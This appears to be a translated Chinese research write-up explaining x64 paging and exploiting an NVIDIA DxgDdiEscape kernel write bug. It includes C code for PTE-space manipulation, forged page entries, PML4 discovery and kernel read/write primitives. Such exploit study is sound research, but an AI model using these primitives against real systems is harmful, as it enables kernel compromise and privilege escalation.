近几年来,研究人员一直在针对GDI Primitives的漏洞利用方法进行研究和讨论。然而我们发现,针对于NVIDIA DxgDdiEscape Handler漏洞,该方法并不奏效。
所以,我们想到了另一个解决方案:我们可以映射一些特定的虚拟地址,强制它们的分页条目对齐,并利用这个漏洞对这些分页条目进行写入操作。简而言之,这将允许我们在指定的/已知的虚拟地址上,映射任意的物理地址。
接下来,我们将介绍64位系统中分页表的相关概念,以及如何去利用这一漏洞。
关于分页机制
分页在64位系统上的工作原理
x64的分页使用4个级别的表,将物理页面映射到虚拟页面,它们分别是PML4(也就是PXE)、PDPT、PD和PT。
控制寄存器CR3包含当前进程PML4表的(物理)内存基地址。
下图是x64系统中,从虚拟地址到物理地址遍历过程的概览:
示例
在这里,假设我们需要遍历虚拟地址0x71000000000的分页表。
首先,我们对其进行分解:
虚拟地址最低的12位是页偏移量,接下来的9位是PT索引,后面的9位是PD索引,再然后的9位是PDPT索引,最后的9位是PML4索引。
我会使用下面的结构来完成这项工作:
typedef struct VirtualAddressFields
{
ULONG64
offset : 12;
ULONG64
pt_index : 9;
ULONG64
pd_index : 9;
ULONG64
pdpt_index : 9;
ULONG64
pml4_index : 9;
VirtualAddressFields(ULONG64 value)
{
*(ULONG64
*)this = 0;
offset
= value & 0xfff;
pt_index
= (value >> 12) & 0x1ff;
pd_index
= (value >> 21) & 0x1ff;
pdpt_index
= (value >> 30) & 0x1ff;
pml4_index
= (value >> 39) & 0x1ff;
}
ULONG64 getVA() {
ULONG64
res = *(ULONG64 *)this;
return res;
}
}
VirtualAddressFields;
举例来说:
VirtualAddressFields
ADDR1a = 0x71000000000; 0: kd> dt ADDR1a
Local
var @ 0x1de4d8 Type VirtualAddressFields
+0x000
offset : 0y000000000000 (0)
+0x000
pt_index : 0y000000000 (0)
+0x000
pd_index : 0y000000000 (0)
+0x000
pdpt_index : 0y001000000 (0x40)
+0x000
pml4_index : 0y000001110 (0xe)
针对这个例子(VA:0x71000000000),我们得到了PML4_index = 0x0E,PDPT_index = 0x40,PD_index = 0,PT_index = 0,Offset = 0。
现在,我们就得到了虚拟地址的PML4条目:38a0000040653867
这实际上是一个被称为MMPTE的8字节结构,我们需要从中提取页帧号(Page Frame Number):
现在我们将PFN(0x40653),乘以页大小(0x1000),其得到的结果(0x40653000)作为下一个分页表(PDPT)的基地址。并且,PDPT_index(0x40)将作为该分页表的索引:
然后,再将下一个PFN(0x41cd7),乘以页大小(0x1000),其得到的结果(0x41cd7000)作为下一个分页表(PD)的基地址。并且,PD_index(0x00)将作为该分页表的索引:
同样,对于最后一级的PFN(0x3e7d8),乘以页大小(0x1000),其得到的结果(0x3e7d8000)作为下一个分页表(PT)的基地址。并且PT_index(0x00)作为该表的索引:
最后剩下需要做的,就是把这个PFN(0x3d7d9)乘以页大小(0x1000),再加上page_offset(0x000)。
现在,我们就知道了,虚拟地址0x71000000000实际上是映射物理地址0x3d7d9000。
如果你想更深入地了解x64的分页,可以阅读下面的内容:
NVIDIA DxgDdiEscape Handler漏洞
漏洞描述
该漏洞是由Google Project Zero首先报告的。在多个PDXGKDDI_ESCAPE回调过程中,发现了一些漏洞。这些漏洞都存在于用户模式驱动程序和微端口驱动程序之间共享数据的界面之中。
经过一番研究之后,我们决定把重点放在“NVIDIA: Unchecked write to user provided pointer in escape 0x600000D”上面。这个漏洞可以让我们在任意虚拟地址实现写入操作,但却不能定义写入的数据,或者该数据的大小。实际上,大部分被写入的数据都会是0,并且代码会强制进行大小检查,导致我们至少要写入0x1000(4096)字节。
原始PoC请参阅:https://bugs.chromium.org/p/project-zero/issues/detail?id=911&can=1&q=NVIDIA%20escape
漏洞利用
由于无法控制写入数据的内容及大小,因此我们只能放弃GDI Primitives的漏洞利用方式,我认为我们应该尝试另外的方法。
这时,有一种解决方案浮现在我们面前,我们参考了《How Paging in x64 works》中对于分页表的讨论,发现它有时会保留在被称为“PTE空间”的虚拟内存区域中。
PTE空间(PTE Space)是在Windows内核用来管理分页结构(例如调整页访问权限、将内容移动到页文件、使用内存映射文件等)的一个虚拟内存区域。
通过一些移位(bitshifting)和屏蔽(masking)操作,我们可以针对任何给定的虚拟地址,计算出其每个表在PTE空间上的虚拟地址。
#define PXE_PAGES_START
0xFFFFF6FB7DBED000 // PML4 #define PDPT_PAGES_START 0xFFFFF6FB7DA00000 #define PDE_PAGES_START 0xFFFFF6FB40000000 #define PTE_PAGES_START 0xFFFFF68000000000
ULONG64
GetPML4VirtualAddress(ULONG64 vaddr) {
vaddr >>= 36;
vaddr >>= 3;
vaddr <<= 3;
vaddr &= 0xfffff6fb7dbedfff;
vaddr |= PXE_PAGES_START;
return vaddr;
} ULONG64 GetPDPTVirtualAddress(ULONG64 vaddr) {
vaddr >>= 27;
vaddr >>= 3;
vaddr <<= 3;
vaddr &= 0xfffff6fb7dbfffff;
vaddr |= PDPT_PAGES_START;
return vaddr;
} ULONG64 GetPDEVirtualAddress(ULONG64 vaddr) {
vaddr >>= 18;
vaddr >>= 3;
vaddr <<= 3;
vaddr &= 0xfffff6fb7fffffff;
vaddr |= PDE_PAGES_START;
return vaddr;
} ULONG64 GetPTEVirtualAddress(ULONG64 vaddr) {
vaddr >>= 9;
vaddr >>= 3;
vaddr <<= 3;
vaddr &= 0xfffff6ffffffffff;
vaddr |= PTE_PAGES_START;
return vaddr;
}
这里再次以我们的虚拟地址0x71000000000为例,通过GetPML4VirtualAddress(0x71000000000)就可以得到其PTE空间上的虚拟地址0xFFFFF6FB7DBED070。
我们可以使用WinDBG或者Kd来确认一下:
新的漏洞利用思路
重新映射Primitive
到了这一步,我们已经有了攻击所需的全部条件:
允许我们在任意地址写入一大堆0的漏洞;
PTE空间中的分页条目可以被写入;
篡改其中一个分页条目的PFN,可以让我们映射任意的物理地址。
因此,我们可以使用VirtualAlloc,得到一个选定的虚拟地址映射(例如0x71000000000,我们称其为ADDR1a),并在PTE空间中修改其PD项,使其PFN指向的物理地址为0。
具体如下所示:
针对于另一个地址(例如0x71080000000,我们称其为ADDR2a),我们这次修改其PT项(FFFFF68388400000),并使该点指向的物理地址为0。
现在,我们的Primitive就已经准备好了。
我们可以通过在地址0x71080000000写入一些看起来像是valid_MMPTE的内容,来对其进行利用,随后再从虚拟地址0x71000000000的位置读取并写入。
我们有一些宏,可以完成上述任务。
#define GetPageEntry(index) (((PMMPTE)(ADDR1a))[(index)]) #define SetPageEntry(index, value) (((PMMPTE)(ADDR2a))[(index)]=(value))
关于物理地址0
我们之所以使用0作为物理地址,是因为这个漏洞只允许我们写入0。但是,为什么写0也能成功呢?假如物理地址0无效,我们的目标系统就会立即蓝屏。
事实上,我们非常幸运,因为物理地址0中,包含了实模式(Real Mode)中所使用的中断向量表(Interrupt Vector Table),并且根据我们的实际尝试,似乎没有遇到过物理地址无效的这种情况。
产生的问题与解决方案
在下面的这张图中,简要讲解了重映射机制:
然而,还存在着一些问题,我们接下来看看这些问题是什么,并且尝试解决。
保留_MMPTE标记
在12位标记中,我们至少需要保留3个完整的标记,以便能够从Ring3种读取/写入我们想要映射的页。
我们可以将写入位置偏移1个字节,来解决这一问题。例如:我们在FFFFF6FB41C40001写入,而不是FFFFF6FB41C40000。
字节大小的限制
该漏洞限制了我们至少要写入0x1000字节,这也就意味着,如果我们要在FFFFF6FB41C40001上写入ADDR1a的PD条目,则需要确保FFFFF6FB41C41001也是一个有效的地址。
针对这一问题,我们还可以通过VirtualAlloc来解决,但是这次映射的是0x71040000000(ADDR1b)。
在分解之后,0x71040000000是这样的(请注意,ADDR1a唯一发生变化的只有PDPT_index从0x40变为了0x41):
通过GetPDEVirtualAddress(0x71040000000),我们得到了FFFFF6FB41C41000的结果,因此这一问题也得以解决。
硬件/操作系统依赖问题
这一问题更为复杂。由于考虑到性能,分页结构被缓存在TLB(Translation Lookaside Buffer,快表/页表缓冲)中。
在使用了我们的Mapping Primitive之后,我们需要通过某种方法让TLB无效或者进行刷新。否则,因为此时缓存中是旧值,所以我们对于页表所做的更改将不会立即生效。
我们强制Windows触发TLB刷新的方法,似乎十分依赖于硬件的支持。在某些处理器上,页错误可能就会触发TLB刷新,而在另一些处理器上,需要执行任务切换(CR3重新加载)才能刷新,还有一些处理器,恐怕得需要处理器之间中断(IPI,Inter-Processor Interrupt)才能管用。
我们解决这一问题的办法如下,但并不是100%有效的:
LPVOID
pNoAccess = NULL;
STARTUPINFO
si = { 0 };
PROCESS_INFORMATION
pi = { 0 };
typedef
NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG
Interval);
_NtQueryIntervalProfile
NtQueryIntervalProfile;
VOID
InitForgeMapping()
{
pNoAccess
= VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_NOACCESS);
dprint("NOACCESS
Page at %llx", pNoAccess);
NtQueryIntervalProfile
=
(_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
CreateProcess(0, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL,
&si, &pi);
}
VOID
ForcePageFault()
{
DWORD
cnt = 0;
while
(cnt < 5) {
__try
{
*(BYTE
*)pNoAccess = 0;
}
__except
(EXCEPTION_EXECUTE_HANDLER) {}
cnt++;
}
}
void
ForceTaskSwitch()
{
BYTE
buffer=0;
SIZE_T
_tmp = 0;
ReadProcessMemory(pi.hProcess,
(LPCVOID)0x10000, &buffer, 1, &_tmp);
ReadProcessMemory(GetCurrentProcess(),
(LPCVOID)&_tmp, &buffer, 1, &_tmp);
FlushInstructionCache(pi.hProcess,
(LPCVOID)0x10000, 1);
FlushInstructionCache(GetCurrentProcess(),
(LPCVOID)&ForceTaskSwitch, 100);
}
void
ForceSyscall()
{
DWORD
cnt = 0;
ULONG
dummy = 0;
NtQueryIntervalProfile(2,
&dummy);
}
VOID
MapPageAsUserRW(ULONG64 PhysicalAddress)
{
if
(!pNoAccess)
InitForgeMapping();
MMPTE
NewMPTE = { 0 };
NewMPTE.u.Hard.Valid
= TRUE;
NewMPTE.u.Hard.Write
= TRUE;
NewMPTE.u.Hard.Owner
= TRUE;
NewMPTE.u.Hard.Accessed
= TRUE;
NewMPTE.u.Hard.Dirty
= TRUE;
NewMPTE.u.Hard.Writable
= TRUE;
NewMPTE.u.Hard.PageFrameNumber
= (PhysicalAddress >> 12) & 0xfffffff;
SetPageEntry(0,
NewMPTE);
ForcePageFault();
ForceTaskSwitch();
ForceSyscall();
}
如何获得CR3的值
我们需要知道PML4表的实际物理地址,也就是CR3的值,这样才能将目标虚拟地址重新映射到我们控制的地址。
假设,我们希望写入的虚拟地址为0xFFFFF900C1F88000,我们需要遍历分页表,PML4–>PDPT–>PD–>PT–>[physical address],随后才能将具有该物理地址的有效_MMPTE写入到ADDR2a(这里是0x71080000000)之中。
所以,当我们写入ADDR1a(这里是0x71000000000)时,我们将写入和0xFFFFF900C1F88000相同的物理内存。
要开始遍历分页表,我们首先需要知道PML4的物理地址。
针对于比较新的硬件,我们可以参考Enrique Nissim提出的如何在Win10上获得PML4条目的相关内容,其论文和源代码请参见:https://github.com/IOActive/I-know-where-your-page-lives 。
本文将重点放在了相对来说比较陈旧的硬件和Windows版本(Win7/8/8.1 以及Win10 Gold)上,我们可以简单粗暴地解决这一问题。
具体来说,就是在注册表中查看有效的物理地址范围,可以查看HKLMHARDWARERESOURCEMAPSystem ResourcesPhysical Memory中的内容。
为了简单起见,我会假设其中的绝大部分都是RAM(尽管这并不是100%确定的)。我们要对每个物理页进行尝试,直到找到一个具有正确的PML4自身引用条目(在索引0x1ed的位置)。
for (ULONG64 physical_address = memRange->start; physical_address <
memRange->end; physical_address += 0x1000) {
MapPageAsUserRW(physical_address);
PML4DataCandidate
= GetPageEntry(0x1ed);
ULONG64
_filterResult = RemapEntry(PML4DataCandidate, 0);
if (!_filterResult)
continue;
PML4DataCandidate
= GetPageEntry(0x1ed);
RecoveredPfn
= PML4DataCandidate.u.Hard.PageFrameNumber << 12;
if (RecoveredPfn != physical_address)
continue;
dprint("Match
at addr - %llx", physical_address);
gPML4Address
= physical_address;
dprint("PML4
at %llx", gPML4Address);
}
如何恢复PFN
我们并不能遍历每一个分页条目来恢复最终的物理地址。由内存分页而成的pagefile文件是一个问题,内存映射文件也是一大问题,此外,其他的标记还会将PFN的实际值后移。然而,上述这些似乎并不影响我们对于PML4基址的寻找。
(1)恢复PFN:
ULONG64 RemapEntry(MMPTE x, ULONG64 vaddress) {
if (x.u.Hard.Valid) { // Valid (Present) if (x.u.Hard.PageFrameNumber == 0)
return 0;
if (x.u.Hard.LargePage) { // if LargePage is set we don't need to walk any further
ULONG64
finaladdress = (ULONG64(x.u.Hard.PageFrameNumber) << 12) | vaddress & 0x1ff000;
MapPageAsUserRW(finaladdress);
return 2;
} else {
MapPageAsUserRW(x.u.Hard.PageFrameNumber
<< 12);
return 1;
}
}
return 0;
}
(2)重新映射目标虚拟地址:
define
CHECK_RESULT
if (!page_entry.u.Hard.PageFrameNumber) return 0;
if (_filterResult == 0) return 0;
if (_filterResult == 2) return 1; int MapVirtualAddress(ULONG64 pml4_address, ULONG64 vaddress) {
VirtualAddressFields
RequestedVirtualAddress = vaddress;
MapPageAsUserRW(pml4_address);
// PML4e
MMPTE
page_entry = GetPageEntry(RequestedVirtualAddress.pml4_index);
ULONG64
_filterResult = RemapEntry(page_entry, vaddress);
CHECK_RESULT
// PDPTe
page_entry
= GetPageEntry(RequestedVirtualAddress.pdpt_index);
_filterResult
= RemapEntry(page_entry, vaddress);
CHECK_RESULT
// PDe
page_entry
= GetPageEntry(RequestedVirtualAddress.pde_index);
_filterResult
= RemapEntry(page_entry, vaddress);
CHECK_RESULT
// PTe
page_entry
= GetPageEntry(RequestedVirtualAddress.pte_index);
_filterResult
= RemapEntry(page_entry, vaddress);
CHECK_RESULT
return 1;
}
(3)读/写Primitive(精简版):
BOOL WriteVirtual(ULONG64 dest, BYTE *src, DWORD len)
{
VirtualAddressFields
dstflds = dest;
ULONG64
destAligned = (ULONG64)dest & 0xfffffffffffff000;
if (MapVirtualAddress(gPML4Address, destAligned)) {
memcpy((LPVOID)(ADDR1a
| dstflds.offset), src, len);
} else {
return FALSE;
}
return TRUE;
} BOOL ReadVirtual(ULONG64 src, BYTE *dest, DWORD len)
{
VirtualAddressFields
srcflds = (ULONG64)src;
ULONG64
srcAligned = (ULONG64)src & 0xfffffffffffff000;
if (MapVirtualAddress(gPML4Address, (ULONG64)srcAligned)) {
memcpy((LPVOID)dest,
(LPVOID)(ADDR1a | srcflds.offset), len);
} else {
return FALSE;
}
return TRUE;
}
修复PFN数据库和Working Set列表
在成功利用漏洞之后,如果我们要结束利用进程,机器会发生蓝屏。Window内存管理器会尝试回收当前未使用的界面,同时它也会寻找在PFN数据库(nt!mmPfnDatabase)与进程之间的不匹配项,并对其进行清除。
Working Set是指不引起页错误异常就能访问的内存,EPROCESS->Vm->VmWorkingSetList->Wsle。
我们可以通过遍历PFN数据库,寻找到PteAddress与我们页条目地址相匹配的MMPFN条目。
这样一来,就可以让我们篡改的页回到原始的PFN及正确的WsIndex。这些就是将整个条目还原所需要的全部数据。
但是,这样的一个缺点是,如果我们将两个被篡改的分页条目其中之一(例如ADDR1a和ADDR2a中的一个)恢复到其原始状态,我们就会立刻失去读写的Primitive,因此并不能通过这种方式,单独地修复两个条目。
我解决这一问题的方法是,将这种技术与《Abusing GDI for ring0 exploit primitives》(https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives)这篇文章中的技术相结合。
利用分页表中的Primitives来破坏Bitmap,同时再使用GDI Primitives来恢复相关的mmPfnDatabase条目。
总结
考虑到漏洞的限制条件、需要真正的硬件支持(不能使用虚拟机调试)以及Windows Working Set调试器的不稳定性,这是一个非常难利用的漏洞。
尽管这种技术暂时不完善,甚至有一点不流行,但我们还是希望能给各位研究者带来启发。